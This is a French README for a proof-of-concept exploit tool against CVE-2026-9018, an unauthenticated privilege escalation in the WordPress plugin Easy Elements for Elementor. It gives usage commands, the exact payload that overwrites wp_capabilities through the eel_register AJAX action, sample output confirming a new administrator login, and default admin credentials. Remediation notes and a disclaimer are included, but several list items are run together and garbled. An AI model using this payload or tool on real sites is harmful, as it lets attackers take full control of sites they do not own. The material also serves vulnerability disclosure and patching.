
Élévation de privilèges non authentifiée CVE-2026-9018 : Easy Elements for Elementor
Recherche par : Atomic Edge Sévérité : Élevée | CVSS : 8,8 | Authentification requise : Aucune
Une vulnérabilité d'escalade de privilèges non authentifiée existe dans le plugin WordPress Easy Elements for Elementor – Addons & Website Templates (versions ≤ 1.4.5). La fonction easyel_handle_register(), exposée via le gestionnaire AJAX wp_ajax_nopriv_eel_register, transmet les valeurs POST custom_meta contrôlées par l'attaquant directement à update_user_meta() sans aucune liste blanche de clés. Cela permet à un attaquant non authentifié de remplacer la clé meta wp_capabilities et de créer un compte de niveau administrateur.
Avant l'exploitation, les conditions suivantes doivent être remplies sur le site cible :
Réglages → Général → Tout le monde peut s'inscrire)easy_elements_nonce dans le DOM de la page.pip install requests
# Basique — nonce récupéré depuis la page d'accueil
python3 poc.py -u https://target.com
# Identifiants personnalisés
python3 poc.py -u https://target.com -U hacker -e [email protected] -p P@ssw0rd!
# Le widget se trouve sur la page /login/
python3 poc.py -u https://target.com --nonce-page /login/
# Ignorer la vérification SSL
python3 poc.py -u https://target.com --no-verify
# Ignorer la vérification de connexion post-exploitation
python3 poc.py -u https://target.com --skip-verify-login
[*] Fetching nonce from: https://target.com/login/
[+] Nonce found: a1b2c3d4e5
[*] Sending privilege escalation payload to: https://target.com/wp-admin/admin-ajax.php
[*] Username : atomic_admin
[*] Email : [email protected]
[*] Role : administrator (via wp_capabilities override)
[+] HTTP Status : 200
[✓] Privilege escalation payload accepted!
[✓] Admin login CONFIRMED!
┌─────────────────────────────────────────┐
│ WP Admin : https://target.com/wp-admin/
│ Username : atomic_admin
│ Password : Atomic@Edge2026!
└─────────────────────────────────────────┘
L'exploitation suit un processus en deux étapes :
Étape 1 — Récupération du nonce
Le widget Login/Register Elementor du plugin insère un champ caché easy_elements_nonce dans le HTML de la page. Ce nonce est accessible publiquement à tout visiteur non authentifié et est extrait via une regex depuis le code source de la page.
Étape 2 — Enregistrement malveillant
Une requête POST est envoyée à /wp-admin/admin-ajax.php avec action=eel_register. Le tableau custom_meta est conçu pour inclure :
custom_meta[wp_capabilities][administrator] = 1
Étant donné que easyel_handle_register() transmet toutes les clés custom_meta directement à update_user_meta() sans liste blanche, la méta-utilisateur wp_capabilities est écrasée après l'enregistrement, accordant au nouvel utilisateur les pleins privilèges d'administrateur.
Les développeurs doivent appliquer les correctifs suivants à easyel_handle_register() :
custom_meta autorisées (par ex., first_name, last_name, phone)wp_capabilities, wp_user_level, session_tokenswp_insert_user() si ce n'est pas nécessaire→ Mettez à jour vers Easy Elements for Elementor 1.4.6 ou version ultérieure immédiatement.
Ce dépôt est destiné uniquement à la recherche de sécurité autorisée et à des fins éducatives. N'utilisez pas cet outil contre un système sans autorisation écrite explicite du propriétaire du système. Toute utilisation non autorisée peut violer le CFAA (États-Unis), l'article 342.1 du Code criminel (Canada), la directive NIS2 de l'UE et d'autres lois applicables. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive ou de dommages découlant de ce code.
| Propriété | Détail |
|---|
| Plugin | Easy Elements for Elementor – Addons & Website Templates (easy-elements) |
| Affecté | ≤ 1.4.5 |
| Corrigé dans | 1.4.6+ |
| Vecteur | Réseau / Non authentifié |
| CWE | CWE-269 : Gestion de privilèges inappropriée |
| Action AJAX | eel_register (nopriv) |
| Drapeau | Description | Valeur par défaut |
|---|
-u, --url | URL du site WordPress cible | (obligatoire) |
-U, --username | Nom d'utilisateur pour le nouveau compte admin | atomic_admin |
-e, --email | Adresse e-mail pour le nouveau compte admin | [email protected] |
-p, --password | Mot de passe pour le nouveau compte admin | Atomic@Edge2026! |
-np, --nonce-page | Chemin de la page contenant le widget Login/Register | / |
--no-verify | Désactiver la vérification du certificat SSL | false |
--skip-verify-login | Ignorer la vérification de connexion admin post-exploitation | false |